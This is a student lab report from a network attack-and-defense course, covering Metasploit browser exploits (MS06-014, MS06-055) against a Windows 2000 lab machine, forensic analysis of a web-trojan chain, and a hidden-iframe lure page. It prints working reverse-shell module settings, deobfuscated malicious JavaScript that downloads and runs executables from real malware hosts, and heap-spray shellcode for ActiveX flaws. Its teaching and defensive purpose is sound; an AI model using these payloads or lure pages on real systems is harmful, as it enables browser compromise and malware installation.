20252908 2025-2026-2 《网络攻防实践》实践11报告

20252908 2025-2026-2 《网络攻防实践》实践11报告

1.实践内容

1.1实验内容

  1. Web浏览器渗透攻击实验

    • 熟悉Metasploit浏览器漏洞模块的使用流程。

    • MS06-014 漏洞攻击:配置攻击模块和远程Shell payload,生成恶意网页木马URL。

    • 靶机访问恶意页面后,攻击机成功建立session,并通过远程命令验证渗透效果。

  2. 网页木马取证分析实验

    • 从start.html开始分析网页木马攻击链,逐步还原后续隐藏文件地址。

    • 对解密出的地址计算MD5,并根据哈希值下载对应文件。

    • 对网页脚本继续解混淆分析,对二进制文件进行静态或动态分析,最终还原网页木马的完整攻击流程。

  3. Web浏览器渗透攻击攻防实验

    • 攻击方使用Metasploit构造MS06-055和MS06-014两个浏览器漏洞利用页面。

    • 对真实漏洞URL进行十六进制混淆,并封装成统一入口链接,通过模拟邮件诱导访问。

    • 防守方通过抓包、源码分析和解混淆,还原真实攻击URL,判断其对应的浏览器漏洞及攻击效果。

1.2知识点梳理

  1. MS06-014漏洞:IE ActiveX远程代码执行漏洞,可通过ie_createobject模块构造恶意网页,使靶机浏览器访问后反弹Shell。
  2. MS06-055漏洞:IE VML远程代码执行漏洞,可通过恶意VML页面触发旧版IE漏洞,实现远程命令执行。
  3. Iframe挂马:通过隐藏iframe自动加载恶意页面,实现用户无感知访问攻击代码。
  4. 脚本混淆:使用Base64、XXTEA、十六进制、八进制、Packer等方式隐藏真实恶意代码,增加分析难度,本次实验中均有。
  5. ActiveX漏洞利用:通过调用存在缺陷的ActiveX控件,如:Adodb.Stream、StormPlayer、PPStream、BaiduBar,实现下载执行木马。
  6. 堆喷射:在浏览器内存中大量填充NOP和Shellcode,提高漏洞触发后执行恶意代码的成功率。
  7. 统一入口页面:将多个漏洞利用URL封装到同一个网页中,实现浏览器攻击。

2.实践过程

2.1web浏览器渗透攻击

2.1.1连通性测试

先进行靶机Win2k和攻击机kali的连通性测试。

在靶机的中使用命令:ipconfig,确认IP地址为:192.168.32.7。

image-20260605154658844

在kali攻击机中使用命令:ifconfig,确认IP地址为:192.168.32.6。

image-20260605154444620

在靶机中使用命令:ping 192.168.32.6,发现正常连通。

image-20260605155451890

2.1.2选择渗透攻击模块

使用命令:msfconsole,启动metasploit控制台。

image-20260605160422784

输入:search MS06-014,查询此漏洞可用的攻击模块。发现唯一可用模块exploit/windows/browser/ie_createobject,对应MS06-014 IE ActiveX远程代码执行漏洞

image-20260605160804754

使用命令:use exploit/windows/browser/ie_createobject,加载该模块。

image-20260605161057976

2.1.3配置攻击载荷与参数,构造恶意网页木马脚本

使用命令:show payloads,查看可用的攻击载荷。

image-20260605162200871

根据要求选择PAYLOAD为任意远程Shell连接,故使用命令:set payload generic/shell_reverse_tcp。

image-20260605162919208

使用命令:set RHOST 192.168.32.7,配置靶机地址为Win2k的地址,再:set LHOST 192.168.32.6设置攻击机的地址为kali的地址。

image-20260605163535752

输入:exploit,在192.168.32.6开启8080端口网页服务,生成恶意访问URL,同时在本机4444端口开启反弹监听。

image-20260605164155882

2.1.4在靶机中,验证与服务器的连通性,并访问木马脚本URL。

连通性在前文已经验证。

在Win2k靶机的浏览器上访问:http://192.168.32.6:8080/Ghsu1G,发现只有一些字符串。

image-20260605164452807

到这里实验不小心中断,所以清空旧占用进程后,重新攻击生成URL:http://192.168.32.6:8080/2lVXb9X

image-20260605165448476

继续在Win2k靶机上访问。

image-20260605165519422

回到攻击机kali,发现攻击成功,成功与Win2k靶机建立链接。

输入:sessions -i 1,打开shell会话。

输入:ipconfig,显示IP地址为:192.168.32.7,说明获得控制权。

image-20260605165643586

2.2取证分析实践—网页木马攻击场景分析

先从学习通中下载本次实验需要的材料start.html,但其可能是恶意文件,所以使用记事本等纯文本工具打开它。查找文件中new09.htm的地址。

发现打开start.html浏览器静默自动加载new09.htm,这是经典iframe隐式挂马方式。

image-20260606214518684

由于实验仅从学习通本地下载start.html源文件,所以无法正常访问,从《网页挂马分析实践参考(上)》可知:new09.htm通过隐形iframe挂载http://aa.18dd.net/aa/kl.htm恶意页面,同时引入远程恶意JS脚本http://js.users.51.la/1299644.js

image-20260606215218507

接下来分别对两个URL计算MD5值,然后在实验资料中的hashed文件夹,找到其相应文件,查看代码结构。

使用命令:echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum,返回:7f60672dcd6b5e90b6772545ee219bd3。

image-20260606221414943

使用命令:echo -n "http://js.users.51.la/1299644.js" | md5sum,返回:23180a42a2ff1192150231b44ffdf3d3。

image-20260606221430353

先打开这个文件,发现其不是木马。

image-20260606222434343

打开第二个文件。

image-20260606222203301

发现其是经过Base64 + XXTEA双层加密的恶意脚本,解密密钥为:\x73\x63\x72\x69\x70\x74,可译为:script。

image-20260606222952018

使用支持Base64解码的XXTEA在线解密工具,将t中变量输入,以及密钥:script,得到十六进制。

image-20260607173311418

再将得到的十六进制转化为字符串,获得明文代码。

function init() { document.write(); }
window.onload = init;
if (document.cookie.indexOf('OK') == -1) {
    try {
        var e;
        var ado = (document.createElement("object"));
        ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as = ado.createobject("Adodb.Stream", "")
    }
    catch (e) { };
finally {
        var expires = new Date();
        expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
        document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();
        if (e != "[object Error]") {
            document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")
        }
        else {
            try { var f; var storm = new ActiveXObject("MPS.StormPlayer"); }
            catch (f) { };
finally {
                if (f != "[object Error]") {
                    document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")
                }
            }
            try { var g; var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"); }
            catch (g) { };
finally {
                if (g != "[object Error]") {
                    document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")
                }
            }
            try { var h; var obj = new ActiveXObject("BaiduBar.Tool"); }
            catch (h) { };
finally {
                if (h != "[object Error]") {
                    obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)
                }
            }
        }
    }
}

image-20260607173651550

分析上述代码发现脚本存在4种漏洞:

  • MS06-014(RDS.DataControl/Adodb.Stream)
  • 暴风影音(MPS.StormPlayer)
  • PPStream(POWERPLAYER.PowerPlayerCtrl.1)
  • 百度搜霸(BaiduBar.Tool)

另外还引用了三个js文件和一个压缩包:

URL MD5 对应漏洞
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4 MS06-014漏洞(利用RDS.DataControl和Adodb.Stream组件)
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166 暴风影音ActiveX控件漏洞(利用MPS.StormPlayer组件)
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2 PPStream ActiveX控件漏洞(利用POWERPLAYER.PowerPlayerCtrl.1组件)
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2 百度搜霸下载执行漏洞(利用BaiduBar.Tool组件)

依旧先计算MD5值。

image-20260607181941149

根据各文件MD5值,寻找对应对应文件进行分析。

2.2.1 1.js解密分析

打开文件发现其又是一个十六进制加密。
image-20260607202743354

将十六进制转换为字符串,内容如下:

其提供了木马下载地址:var url="http://down.18dd.net/bb/014.exe";

下载木马程序014.exe,利用Adodb.Stream将木马写入本地文件ntuser.com,最后通过ShellExecute方法自动后台执行木马,实现远程控制、系统入侵等恶意行为。

var url="http://down.18dd.net/bb/014.exe";
try{
    var xml=ado.CreateObject("Microsoft.XMLHTTP","");
    xml.Open("GET",url,0);
    xml.Send();
    as.type=1;
    as.open();
    as.write(xml.responseBody);
    path="..\\ntuser.com";
    as.savetofile(path,2);
    as.close();
    var shell=ado.createobject("Shell.Application","");
    shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}

image-20260607202922694

因为此文件会下载014.exe所以我们继续查看其MD5值。

image-20260607205145833

2.2.2 b.js解密分析

打开为:3870c28cc279d457746b3796a262f166的文件,发现其为Packer加密JS。

image-20260607210409318

将eval改为console.log,在浏览器打开开发者工具,切换到Console,将代码粘贴进去进行解密。

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var shellcode = unescape(
    "%uf3e9%u0000" +
    "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
    "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
    "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
    "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
    "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
    "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
    "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
    "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
    "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
    "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
    "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
    "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
    "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
    "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
    "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
    "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
    "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
    "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
    "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
    "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
    "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
    "%u6946%u656c%u0041" +
    "%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464" +
    "%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"
);

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) {
    bigblock += bigblock;
}

var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) {
    block = block + block + fillblock;
}

var memory = new Array();
for (x = 0; x < 300; x++) {
    memory[x] = block + shellcode;
}

var buffer = '';
while (buffer.length < 4068) {
    buffer += "\x0a\x0a\x0a\x0a";
}

storm.rawParse(buffer);

image-20260607212629772

发现:该段代码为浏览器堆喷射攻击代码,通过构造大量内存数据,利用暴风影音MPS.StormPlayer ActiveX控件漏洞,向浏览器内存中填充并执行恶意shellcode,最终实现远程代码执行、木马下载、系统入侵等恶意行为。

其中shellcod恶意攻击代码,核心攻击载荷,包含了硬编码的木马下载地址http://down.18dd.net/bb/bf.exe。并计算其MD5值。

image-20260607213739057

2.2.3 pps.js解密分析

打开发现其使用八进制编码。

image-20260608104759328

如上,将eval替换为console.log,在浏览器控制台输出将其转换为字符串:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u*/

pps=(document.createElement("object"));

pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")

var shellcode = unescape("%uf3e9%u0000"+

"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +

"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +

"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +

"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +

"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +

"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +

"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +

"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +

"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +

"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +

"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +

"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +

"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +

"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +

"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +

"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +

"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +

"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +

"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +

"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +

"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +

"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<400; x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";

pps.Logo = buffer

image-20260608105038751

发现这是PPS播放器ActiveX漏洞利用代码,通过堆喷射执行Shellcode,实现远程下载木马并控制计算机。

继续解密其中Shellcode代码,包含了从http://down.18dd.net/bb/pps.exe下载木马,继续计算其MD5值。

image-20260608120222168

2.2.4 bd.cab解密分析

在学习资料中找到相应压缩包,将其解压缩,发现bd.exe。

image-20260608134100391

2.2.5 其余文件分析

根据上述内容找到四个可执行文件:14.exe、bf.exe、pps.exe、bd.exe。

这里有个问题:根据前文MD5值,从hashed文件夹里,找出的14.exe、bf.exe、pps.exe、bd.exe四个文件,哈希值都是相同的,是四个相同文件。
而从资料original文件夹里给出的,14.exe文件和其他三个是不同的。所以为了更加全面,这里将14.exe和另外三个分开分析。

使用命令:md5sum 14.exe bf.exe pps.exe bd.exe计算文件哈希值。

image-20260608135309957

发现后三个文件的 MD5 值均为1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本,所以分析其中之一即可。

将其挪至WinPattacker方便使用其内置工具进行操作。

使用PEiD工具进行分析bf.exe,识别到Borland Delphi 6.0 - 7.0证明其无压缩壳,无加密壳。

image-20260608142142400

再识别14.exe,发现使用UPack 0.28~0.399版本压缩壳。

image-20260608142207450

使用超级巡警脱壳工具对其进行脱壳处理,生成14_unpacked.exe。

image-20260608142400720

使用IDA工具和W32Dasm对bf.exe静态分析。

image-20260608144910124

image-20260608160412419

发现:

  1. 存在多级链式木马下载载荷,从http://down.18dd.net/kl/0.exehttp://down.18dd.net/kl/19.exe,批量下载恶意程序。

  2. 存在持久化驻留、自动运行,生成AutoRun.inf写入本地磁盘、U盘,插入设备自动启动木马。写入资源管理器开机自启,实现木马长期后台驻留。

image-20260608160857691

  1. W32Dasm可查看advapi32.dll注册表API调用流程。

image-20260608161304909

  1. 存在反查杀对抗、痕迹销毁,篡改系统时间,绕过杀毒软件证书时效、特征时间戳校验。

image-20260608161848005

等等。

同样对脱壳后的14_unpacked.exe进行分析。

image-20260608161950751

发现:

  1. 包含循环删除自身或删除文件的批处理逻辑。

image-20260608162033189

  1. 通过注册COM组件实现驻留。

image-20260608164115301

  1. 释放引用可疑文件。

image-20260608164217607

2.3攻防对抗实践—web浏览器渗透攻击攻防

继续选用靶机Win2k和攻击机kali进行实验。

角色 主机 IP地址
攻击方 20252908Sxl_kali2 192.168.32.6
靶机 BJ_Win2kServer_SP0_target2 192.168.32.7

2.3.1配置漏洞MS06-055

首先配置第一个漏洞:IE浏览器远古漏洞MS06-055来攻击。
并将所有网卡都开放服务,恶意端口为:8081,攻击链接为:http://192.168.32.6:8081/ms06055。当靶机打开此网址会进行攻击,反弹一个命令行shell,连接用4455端口。

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.32.6
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j

image-20260608191651886

在Win2k靶机的浏览器中访问此URL。

image-20260608191807687

返回攻击机使用命令:sessions -l查看session发现已被建立,使用命令sessions -i 1进入到对应的session,进行验证。
输入ipconfig,返回为:192.168.32.7,可见攻击执行成功。

image-20260608192134407

2.3.2配置漏洞MS06-014

再来配置第二个漏洞:浏览器远程代码执行漏洞MS06-014。

与上一个不同的是端口切换到:8082端口。反弹端口是:5544。

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.32.6
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j

构造的链接为:http://192.168.32.6:8082/ms06014

image-20260608214452511

在靶机浏览器访问此链接。

image-20260608214542788

切换至kali攻击机,发现会话已经建立,使用ipconfig命令进行验证,发现攻击成功。

image-20260608214718415

2.3.3URL十六进制混淆编码

使用以下命令,将构造的两个恶意链接,转为十六进制:

echo -n "http://192.168.32.6:8081/ms06055" | xxd -p -c 256
echo -n "http://192.168.32.6:8082/ms06014" | xxd -p -c 256

转化的结果为:

687474703a2f2f3139322e3136382e33322e363a383038312f6d733036303535
687474703a2f2f3139322e3136382e33322e363a383038322f6d733036303134

image-20260608215216449

2.3.4开启Apache

先使用命令:sudo systemctl start apache2开启apache网页服务,再使用命令:sudo systemctl status apache2,查看运行状态。

image-20260608215322395

使用命令:mkdir -p /var/www/html/2908text,创建目录。

再使用命令:vim /var/www/html/2908text/index.html, 编辑文件夹里的网页钓鱼界面文件。

构造下面的代码,将其复制进去。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

function loadHiddenFrame(url) {
    var f = document.createElement("iframe");
    f.src = url;
    f.width = "1";
    f.height = "1";
    f.style.display = "none";
    document.body.appendChild(f);
}

var u1 = "687474703a2f2f3139322e3136382e33322e363a383038322f6d733036303134";
var u2 = "687474703a2f2f3139322e3136382e33322e363a383038312f6d733036303535";

document.write('<iframe src="' + h2s(u1) + '" width="1" height="1"></iframe>');
setTimeout(function () {
    document.write('<iframe src="' + h2s(u2) + '" width="1" height="1"></iframe>');
}, 8000);
</script>
</body>
</html>

image-20260608215642868

所以构造的统一URL是:http://192.168.32.6/2908text/index.html

使用命令:curl http://192.168.32.6/2908text/index.html,从命令行发起网页访问,直接打印网页完整源代码,查看是否正确。

image-20260608220657998

2.3.5构造欺骗性邮件

使用命令:vim ~/2908_mail.txt,模拟一个邮件文本,发送给防守方,中间包括了恶意链接,诱导对方登录。

image-20260609210634987

2.3.6重启Metasploit服务,并攻击

重启过程略过,使用命令:jobs -v,查看正在后台运行的攻击任务。发现两个攻击正在运行,同时开启wireshark进行抓包。

image-20260608222939101

切换到靶机访问此URL。

image-20260608223102604

切换到靶机使用命令:sessions -l查看建立的会话发现只有1个。

image-20260609183334445

怀疑是漏洞本身有问题,或其中一个失效,所以将漏洞攻击顺序进行调换,如下所示,调换u1和u2。再次执行攻击。

var u1 = "687474703a2f2f3139322e3136382e33322e363a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e33322e363a383038322f6d733036303134";

image-20260609184211154

发现无论如何调换顺序,始终只有前置加载的漏洞能够触发,后置加载的漏洞无法执行。

由此证明:两个漏洞模块均正常可用,问题并非由漏洞本身失效导致,而是由IE浏览器单线程解析、内存破坏漏洞导致进程阻塞,使后置iframe无法加载执行。

但是本实验攻击目的已达到。

2.3.7守方分析

通过在Wireshark中过滤HTTP流量,这说明靶机访问了攻击机上的统一入口页面。

image-20260609191307554

右键查看其TCP Stream,发现此函数说明页面在做十六进制解混淆。

function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

红框里也有两处变量:

var u1 = "687474703a2f2f3139322e3136382e33322e363a383038322f6d733036303134";
var u2 = "687474703a2f2f3139322e3136382e33322e363a383038312f6d733036303535";

解码后是:

u1 = http://192.168.32.6:8082/ms06014
u2 = http://192.168.32.6:8081/ms06055

可判断其隐藏了两个漏洞利用地址:

  1. /ms06014

  2. /ms06055

image-20260609191415717

分析完毕。

3.学习中遇到的问题及解决

问题1:右键数据流查看TCP Stream出现乱码现象。

image-20260609192518963

问题1解决方案:经过分析发现,乱码的原因是服务器响应头中存在Content-Encoding: gzip,所以在Kali上关闭Apache的deflate压缩模块,执行sudo a2dismod deflate,并重启 Apache。

4.实验总结

通过本次实验,我对Web浏览器漏洞攻击和网页木马分析有了更直观的理解。通过Metasploit配置MS06-014、MS06-055模块,靶机访问恶意页面后成功反弹shell,自己动手操作了浏览器漏洞利用的过程。

在网页木马分析中特别麻烦,从start.html到MD5查找、脚本解密和木马文件分析,一环套一环,能看出网页挂马会通过多层混淆隐藏真实攻击链,并根据不同ActiveX控件选择不同漏洞路径。攻防对抗部分也让我花了很多时间,印象较深。统一入口中虽然封装了两个漏洞 URL,但旧版IE触发第一个漏洞后可能卡死或中断脚本,导致后续iframe无法稳定加载。总体来看,这又是本科目学习的一个新内容,拓宽了视野。

至此本学期所有实验结束了,一个个不同类型的实验,层层相扣,让我见识到了网络攻击、漏洞的五花八门,无处不在。也让我在攻防实践中,更加深刻的了解,不断进步,收益颇丰。

posted @ 2026-06-09 21:47  石幸龙  阅读(30)  评论(0)    收藏  举报